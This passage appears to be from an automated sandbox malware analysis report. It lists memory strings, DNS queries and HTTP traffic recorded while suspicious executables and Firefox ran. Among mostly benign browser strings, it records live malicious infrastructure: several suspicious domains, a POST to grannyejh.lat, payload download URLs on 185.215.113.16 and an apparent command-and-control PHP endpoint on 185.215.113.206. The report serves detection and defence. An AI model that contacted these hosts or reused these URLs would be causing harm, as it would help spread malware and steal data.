Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/h equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/h equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/h equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://gre/modules/FileUtils.sys.mjs@mozilla.org/addons/addon-manager-startup;1pictureinpicture%40mozilla.org:1.0.0webcompat-reporter@mozilla.org.xpi://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.jsFileUtils_openSafeFileOutputStreamhttps://smartblock.firefox.etp/play.svg://cdn.branch.io/branch-latest.min.jsFileUtils_closeAtomicFileOutputStream://.imgur.com/js/vendor..bundle.jsresource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter%40mozilla.org:1.5.1://pub.doubleverify.com/signals/pub.js*://track.adform.net/serving/scripts/trackpoint/@mozilla.org/network/file-output-stream;1://c.amazon-adsystem.com/aax2/apstag.js://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.js://www.rva311.com/static/js/main..chunk.jsFileUtils_openAtomicFileOutputStream://web-assets.toggl.com/app/assets/scripts/.js://www.everestjs.net/static/st.v3.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.js*://.imgur.io/js/vendor..bundle.js@mozilla.org/network/atomic-file-output-stream;1FileUtils_closeSafeFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg@mozilla.org/network/safe-file-output-stream;1://www.google-analytics.com/analytics.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js*://www.google-analytics.com/plugins/ua/ec.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js://cdn.optimizely.com/public/.js://.moatads.com//moatheader.js://.vidible.tv//vidible-min.js://ssl.google-analytics.com/ga.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/webtrends.min.jsTelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2200878652.0000025CEA3E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2200878652.0000025CEA3E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2209918604.0000025CEA88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001A.00000003.2037098594.0000025CEC92A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2055776363.0000025CEC92A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2153342673.0000025CDA26B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: bfa374134d.exe, 00000007.00000003.2196022361.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: bfa374134d.exe, 00000007.00000003.2194410371.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.2196022361.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: bfa374134d.exe, 00000007.00000003.2196022361.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/r
Source: bfa374134d.exe, 00000007.00000003.2196022361.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: f48847f8be.exe, 00000008.00000002.1871163393.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA6F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA6F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA6F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA6F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: bfa374134d.exe, 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2193309231.0000025CE9DDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.2193309231.0000025CE9DDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000001A.00000002.2165302441.0000025CE6210000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB2FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_CONNECTION_CREATED_startDetection/url
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2ADB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2222268008.0000025CEB26A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.2153342673.0000025CDA203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings0
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB45B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB45B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#firefox-desktop-shellService-release-7
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2220015679.0000025CEB1A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB45B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001A.00000002.2222268008.0000025CEB2F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appNamehttp://mozilla.org/#/properties/appIdhttp://mozilla.org/#/pro
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/experimentType
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
